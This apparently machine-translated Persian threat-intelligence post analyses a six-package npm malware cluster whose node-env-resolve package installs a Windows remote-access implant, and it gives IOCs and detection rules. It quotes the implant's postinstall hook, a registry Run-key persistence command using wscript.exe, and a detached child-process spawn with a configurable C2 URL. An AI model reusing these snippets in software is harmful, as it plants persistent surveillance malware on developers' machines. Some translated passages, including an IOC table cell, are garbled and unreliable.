TL؛ DR
بین ۱ آوریل و ۳ مه ۲۰۲۶، یک ناشر npm واحد، user0001با آدرس جیمیل تایید نشده ثبت شده است tanvisoul9@gmail.com، بیسروصدا شش بسته را با نامهای عمداً بیمزه و شبیه به زیرساختها منتشر کرد: centralogger, dom-utils-lite, node-fetch-lite, connector-agent, node-gyp-runtimeو node-env-resolve.
دو نسخه اخیر از node-env-resolve، ۱.۰.۷ و ۱.۰.۸، در تاریخ ۲ می توسط سیستم هشدار زودهنگام بدافزار (MEW) شرکت Xygeni علامتگذاری و در ۳ می مخرب بودن آنها تأیید شد.
این ایمپلنت به خاطر آنچه که نیست، غیرمعمول است: هیچ ربات تلگرامی، هیچ فراخوانی OAST و هیچ ... وجود ندارد. ابهامزداییو هیچ تلاشی برای گرفتن اعتبارنامههای AWS در زمان نصب انجام نمیشود. در عوض، postinstall.js با استفاده از کلید HKCU Run که اجرا میشود، یک ورودی با قابلیت ماندگاری بوت ویندوز ایجاد میکند wscript.exe در برابر یک Stub مربوط به VBS. سپس یک عامل Node.js جداگانه ایجاد میکند که ماژولهایی را برای ضبط میکروفون، سرقت تاریخچه مرورگر، گرفتن اسکرینشات و شبیهسازی ماوس/کیبورد در خود جای داده است.
ما به این خوشه میگوییم دوتپ، پس از کیت، روی دستگاه توسعهدهنده اجرا میشود.
هر شش بسته در زمان نگارش این مطلب روی npm فعال بودند. ما آنها را به کانال سوءاستفاده رجیستری ارسال کردهایم. مدافعان باید هرگونه نصبی را که تا زمان حذف از ناشر باقی مانده است، متوقف کنند.
خوشه: شش بسته، یک ناشر
حساب کاربری ناشر user0001 تأیید نشده است. هیچ ندارد SCM تأیید، بدون ایمیل وابسته به دامنه و بدون سابقه قبلی. نام کاربری جیمیل tanvisoul9 در هیچ رکورد ناشر npm دیگری که توانستیم پیدا کنیم، ظاهر نمیشود.
هر شش بسته، یک نگهدارنده را فهرست میکنند، از یک حساب کاربری منتشر شدهاند و محتوای یکسانی دارند. package.json متن تکراری. وجود ندارد repository، نه homepage، و نه description طولانیتر از یک خط.
استراتژی نامگذاری بخش جالب ماجرا است. برخلاف یک کمپین کلاسیکِ سردرگمی وابستگی یا اشتباه تایپی، هیچکدام از این نامها یک کتابخانهی بالادستی خاص را هدف قرار نمیدهند. در عوض، آنها طوری تنظیم شدهاند که در یک نام واقعی ناپدید شوند. package.json or npm ls خروجی.
| بسته | اولین بار منتشر شد | آخرین نسخه | نسخه | نقش در خوشه |
|---|---|---|---|---|
| سنترالوگ | 2026-04-01 12:46 UTC | 1.0.9 | ۱۰، از ۱.۰.۰ تا ۱.۰.۹ | جلد «ابزار ثبت وقایع» کلاستر؛ اولین انتشار |
| dom-utils-lite | 2026-04-14 07:36 UTC | 1.0.3 | 3 | پوشش کمکی DOM عمومی |
| گره-واکشی-lite | 2026-04-19 10:22 UTC | 1.0.2 | 3 | خانوادهی واکشی گره را تقلید میکند |
| عامل اتصال | 2026-04-25 05:12 UTC | 1.0.0 | 1 | نام ژنریک «عامل» |
| زمان اجرای گره-gyp | 2026-04-25 05:17 UTC | 1.0.0 | 1 | ابزار ساخت ماژول بومی را تقلید میکند |
| گره-محیط-حل و فصل | 2026-04-25 05:21 UTC | 1.0.9 | ۱۰، از ۱.۰.۰ تا ۱.۰.۹ | قطرهچکان فعال؛ کاشت کامل |
اسامی مانند centralogger, node-fetch-liteو node-gyp-runtime طوری طراحی شدهاند که در بررسی کد، بحثبرانگیز به نظر نرسند. انگار چیزهایی هستند که از قبل در درخت وابستگی یک پروژه وجود دارند.
این موارد، همراه با یک ناشر تازه و تأیید نشده و لینکهای از دست رفتهی مخزن، یک الگوی قابل تشخیص را تشکیل میدهند: یک عامل، نامهای کماهمیت را در رجیستری قرار میدهد و سپس به سرعت روی نامی که اهمیت دارد، تکرار میکند. در این مورد، node-env-resolve ده نسخه را در هشت روز دریافت کرد.
چه چیزهایی روی جعبه توسعه ویندوز قرار میگیرد؟
زنجیره مخرب روشن است node-env-resolve:1.0.8 کوتاه، سرراست و به طور غیرمعمولی برای یک npm RAT غنی از ویژگیها است.
نصب پس از نصب: عامل ماندگار و عامل جدا شده
package.json یک قلاب نصب واحد را اعلام میکند:
{ "scripts": { "postinstall": "node postinstall.js" } }postinstall.js سه کار را به ترتیب انجام میدهد.
ابتدا، یک دایرکتوری نصب را خارج از درخت npm ایجاد میکند. مسیر در زمان اجرا در اسکریپت به صورت زیر محاسبه میشود: INSTALL_DIRسپس یک فرآیند داخلی را اجرا میکند. execSync('npm install --production --silent ...') درون آن قرار میگیرد تا وابستگیهای زمان اجرای ایمپلنت را دریافت کند. این کار عامل را روی دیسک و در جایی به صورت یک دفترچه راهنما قرار میدهد. node_modules حسابرسی پیدا نخواهد کرد.
دوم، یک لانچر VBS مینویسد و آن را برای ماندگاری بوت ثبت میکند:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run \ /v ${AGENT_NAME} \ /t REG_SZ \ /d "wscript.exe \"${vbsPath}\"" /fwscript.exe میزبان اسکریپت ویندوز، یک فایل باینری امضا شده مایکروسافت است که اجرا میشود. .vbs فایلهایی بدون پنجره کنسول. این از قبل استcisبه همین دلیل است که برای مقالههای کوتاه autorun مورد توجه قرار میگیرد.
تطابق هم وجود دارد reg delete مسیر داخل src/index.js، نشان میدهد که این ایمپلنت به گونهای طراحی شده است که با دستور اپراتور به راحتی قابل جدا شدن باشد.
سوم، یک فرآیند فرزند جدا شده ایجاد میکند:
spawn(node, [path.join(INSTALL_DIR, 'src/index.js')], { detached: true, env: { ...process.env, SERVER_URL } })دو نکته اینجا اهمیت دارد.
SERVER_URL از محیط خوانده میشود. در نتیجه، نقطه پایانی C2 در هر استقرار قابل پیکربندی است و در بسته گنجانده نشده است. این انتخاب کوچک اما آگاهانه، اکثر جاروبهای IOC استاتیک را با شکست مواجه میکند.
همچنین، فرزند تولید شده، محیط کامل والد را به ارث میبرد. بنابراین، هر NPM_TOKEN, AWS_*, GITHUB_TOKENیا سوکت عامل SSH موجود در پوسته توسعهدهنده در زمان نصب، به حافظه عامل با عمر طولانی منتقل میشود.
آنچه نماینده با آن ارسال میکند
بسته بندی شده src/ این درخت شامل سه ماژول است که نام آنها به تنهایی گویای همه چیز است: audioCapture.js, browserHistory.jsو systemInfo.js.
فهرست وابستگیهای زمان اجرا، که در طول مرحلهبندی حل شده است npm install، آنها را تأیید میکند.
این رویکرد، یک حادثهی آشفته را به یک واکنش کنترلشده تبدیل میکند.
به جای واکنش کورکورانه، تیمها با ... عمل میکنند. اولویتبندی واضح و اصلاح سریع.
| وابستگی | در این زمینه چه کاربردی دارد؟ |
|---|---|
| اسکرین شات-دسکتاپ | ضبط صفحه نمایش به صورت دورهای |
| @nut-tree-fork/nut-js | اتوماسیون/شبیهسازی ورودی ماوس و صفحهکلید |
| بهتر-sqlite3 | خواندن مستقیم تاریخچه کروم، اج و فایرفاکس از پایگاههای داده SQLite |
| فایل زیپ adm | بستهبندی آثار باستانی جمعآوریشده قبل از خروج |
| تیز | تغییر اندازه/فشردهسازی اسکرینشاتها و مصنوعات تصویری |
| کلاینت سوکت.io | کانال C2 دو طرفه پایدار |
| شناسه گره-ماشین | اثر انگشت پایدار برای هر میزبان برای ردیابی قربانی |
systemInfo.js تماس os.networkInterfaces() برای انگشت نگاری اضافی قبل از اولین چراغ راهنما.
چرا ضبط صدا سیگنال برجستهای است؟
بیشتر npm RAT هایی که ما در MEW بررسی میکنیم، در زمان نصب، سرقت مخفی را متوقف میکنند. آنها میخوانند ~/.npmrc، خواندن ~/.aws/credentials، خراشیدن process.env، ارسال به یک وبهوک و خروج. این با مدل اقتصادی «بزن و در رو» مطابقت دارد. اعتبارنامهها نیمهعمر کوتاهی دارند و مهاجم باید به سرعت از آنها کسب درآمد کند.
node-env-resolve از نظر شکل متفاوت است.
پایداری طوری تنظیم شده است که در صورت راهاندازی مجدد، از آن جان سالم به در ببرد. عامل به صورت جداگانه و با طول عمر بالا اجرا میشود. wscript.exeکیتی که همراه آن است برای حضور در دستگاه توسعهدهنده است، نه برای برداشتن و رها کردن: یک ضبطکننده میکروفون، یک درایور صفحهکلید/ماوس، دریافت کامل تاریخچه مرورگر، ضبط صفحه نمایش و یک کانال تعاملی Socket.IO به یک C2 قابل تنظیم.
ضبط میکروفون به طور خاص، خط قرمزی است که این کمپین از آن عبور میکند و اکثر بدافزارهای npm از آن عبور نمیکنند.
یک ایستگاه کاری توسعهدهنده، به طور فزایندهای، ایستگاه کاری است که توسعهدهندگان در آن جلسات استندآپ، تماس با مشتری، بحثهای طراحی و پلهای ارتباطی در حال انجام را برگزار میکنند. یک ایمپلنت که میکروفون را ضبط میکند، در واقع به دنبال توکن npm توسعهدهنده نیست. بلکه به دنبال چیزی است که توسعهدهنده جلوی لپتاپ میگوید.
این مجموعه قابلیتها، به علاوهی عدم مبهمسازی و عدم وجود هرگونه عملیات پر زرق و برقِ خروج اطلاعات در زمان نصب، به عنوان یک پیشزمینهسازی برای دسترسی هدفمند تلقی میشود، نه یک سرقت فرصتطلبانهی اعتبارنامه.
ما صرفاً از این مورد، انتساب را ادعا نمیکنیم. ما به مشخصات عملیاتی توجه داریم.

ریتم تکرار هشت روزه node-env-resolve از نظر عملیاتی، گویاترین جزئیات در جدول زمانی است.
این یک دراپ بلااستفاده نیست. ناشر به طور فعال دراپپر را نگهداری میکند، که معمولاً به معنای یکی از این دو چیز است. یا آنها قبل از استقرار گستردهتر، آن را برای محیطهای آزمایشی تنظیم میکنند، یا اینکه از قبل تلهمتری نصب را دوباره راهاندازی کردهاند و به آن پاسخ میدهند.
پنج بستهی دیگر پس از انتشار اولیه، عملاً هیچ ریزشی نداشتند. این با الگوی «یک بار مرحله را تمام کن، نامش را بگذار» برای خوشهی پشتیبان مطابقت دارد، در حالی که تلاش مهندسی بر روی بستهای که کار را انجام میدهد متمرکز است.
انتساب: سرنخهای کوچک، بدون حکم قطعی
عمومی OSINT سیگنالها نازک هستند و ما آنها را کش نمیدهیم. آنچه قابل مشاهده است:
دسته جیمیل tanvisoul9 تا حدودی شبیه یک نام کوچک آسیای جنوبی، «تانوی» است. این یک سیگنال ضعیف است. شناسههای جیمیل هویت نیستند و دنباله soul9 عمومی است. استنباط جغرافیا فقط از یک بخش محلی ایمیل، ایمن نیست.
سبک کد Node.js معمولی است: standard تماسهای کتابخانهای مانند os, child_process, spawnو reg addهیچ گونه مبهمسازی، چرخش رشته و منطق ضد اشکالزدایی وجود ندارد. نویسنده با مقادیر اولیه رجیستری ویندوز و تنظیم فرآیند فرزند جدا شده راحت است، اما به نظر نمیرسد که به دنبال ترفندهای مخفیانهتری باشد که به طور معقول میتوانند از آنها استفاده کنند.
وابستگیها کاملاً شناختهشده و رایج هستند: screenshot-desktop, nut-js, better-sqlite3و socket.io-clientهیچ پروتکل سفارشی، هیچ پشته C2 از ابتدا توسعهیافته و هیچ ترفند پایداری جدیدی فراتر از یک کتاب درسی وجود ندارد. کلید اجرای HKCUاین یک یکپارچهساز ماهر است، نه یک نویسندهی ابزار.
ما هیچ رشتهی غیرانگلیسی، کامنتهای جاسازیشده، دادههای محلی یا اثر انگشتهای منطقهی زمانی خروجی کامپایلر را در آثار منتشرشده پیدا نکردیم.
ما همپوشانی کد با کمپینهای قبلی که از قبل پیگیری میکردیم، از جمله موارد زیر را بررسی کردیم. شای هولود, اولیویون، بیلدکایت، و هایبای اخیر / claude-code-best خانواده کلون Anthropic-CLI. ما هیچ موردی پیدا نکردیم: هیچ الگوی C2 مشترکی، هیچ طرحبندی فایل مشترکی و هیچ اصطلاح مشترکی.
چیزی که ما نمیگوییم این است که این یک بازیگر دولتی، یک گروه شناختهشده یا از نظر جغرافیایی وابسته به یک کشور خاص است.
مشخصات عملیاتی با یک تیم کوچک و با مهارت متوسط که نظارت بر ایستگاه کاری توسعهدهندگان را انجام میدهد، سازگار است. این امر احتمالاً از طریق استفاده از دسترسی در پاییندست، انگیزه مالی دارد، اما احتمالاً شناسایی به عنوان یک سرویس برای یک خریدار جداگانه نیز وجود دارد.
دو نکته غیرمستقیم از این مطلب پشتیبانی میکنند: اجتناب از مکانیزمهای استخراج اطلاعات که توجه را جلب میکنند و باعث از بین رفتن سریع کلاستر میشوند، مانند رباتهای تلگرام، oastify.comیا canarytokenها، و نامهای عمداً بیروح بستهها، که نصبهای طولانی و بیصدا را به یک افزایش ناگهانی و کوتاه مدت حجم ترجیح میدهند.
شاخصهای نفوذ و تشخیص
| بستهها و ناشر | |
|---|---|
| میدان | مقدار |
| ناشر npm | user0001 |
| ایمیل ناشر | tanvisoul9@gmail.com، تأیید نشده |
| بسته | centrallogger، dom-utils-lite، node-fetch-lite، connector-agent، node-gyp-runtime، node-env-resolve |
| مخرب بودن تایید شد | node-env-resolve@1.0.7، node-env-resolve@1.0.8 |
| مصنوعات میزبان | |
|---|---|
| نوع | مقدار |
| کلید پایداری | HKCU\Software\Microsoft\Windows\CurrentVersion\Run |
| ارزش پایداری | نام متغیر؛ دادههایی از نوع wscript.exe " \\ ".vbs" |
| قلاب نصب کنید | postinstall: فایل postinstall.js در بستهی manifest.js.node |
| ماژولهای ایمپلنت | src/audioCapture.js، src/browserHistory.js، src/systemInfo.js |
| دایرکتوری مرحلهبندی | INSTALL_DIR خارج از node_modules پروژه قرار دارد؛ مکان آن توسط postinstall.js در زمان نصب تعیین شده است. |
| شبکه ارتباطی | |
|---|---|
| نوع | مقدار |
| حمل و نقل C2 | socket.io-client، کانال دو طرفه پایدار |
| نقطه پایانی C2 | از طریق متغیر محیطی SERVER_URL در اختیار عامل قرار میگیرد؛ در مصنوعات منتشر شده به صورت hard-code شده نیست. |
یادداشتهای تشخیص
دو قانون این خانواده را بدون نیاز به نقطه پایانی C2 دریافت میکنند.
ابتدا، اسکریپتهای پس از نصب را که یک عملیات داخلی انجام میدهند، علامتگذاری کنید. npm install به مسیری خارج از دایرکتوری خود بسته. هر دانلودکنندهی از پیش ساخته شدهی معتبر، مانند node-gyp بازسازی یا دانلودکنندههای باینری از پیش ساخته شده، درون بسته یا در پلتفرم مینویسد-standard مسیرهای حافظه پنهان با هشهای تأیید شده. در یک فایل تازه ایجاد شده نوشته نمیشود. INSTALL_DIR در جای دیگری از دیسک.
دوم، اسکریپتهای پس از نصب که مشکل دارند را علامتگذاری کنید reg add HKCU\…\Run با wscript.exe به عنوان لانچر. این اساساً هرگز از یک بسته npm قانونی نیست. آن را علامتگذاری و قرنطینه کنید.
یک روش اکتشافی سوم برای تشخیص بسته خواهر و برادر بعدی قبل از تأیید مفید است: یک ناشر npm جدید بدون SCM تأیید، یک ایمیل جیمیل، خیر repository فیلد، و چندین نام بسته کوتاه، عمومی و شبیه به زیرساخت که با فاصله چند روز از یکدیگر منتشر شدهاند، به خودی خود برای توجیه بررسی دستی کافی است.
به رجیستری npm گزارش شد. وقتی حساب ناشر حذف شود، این پست را بهروزرسانی خواهیم کرد.






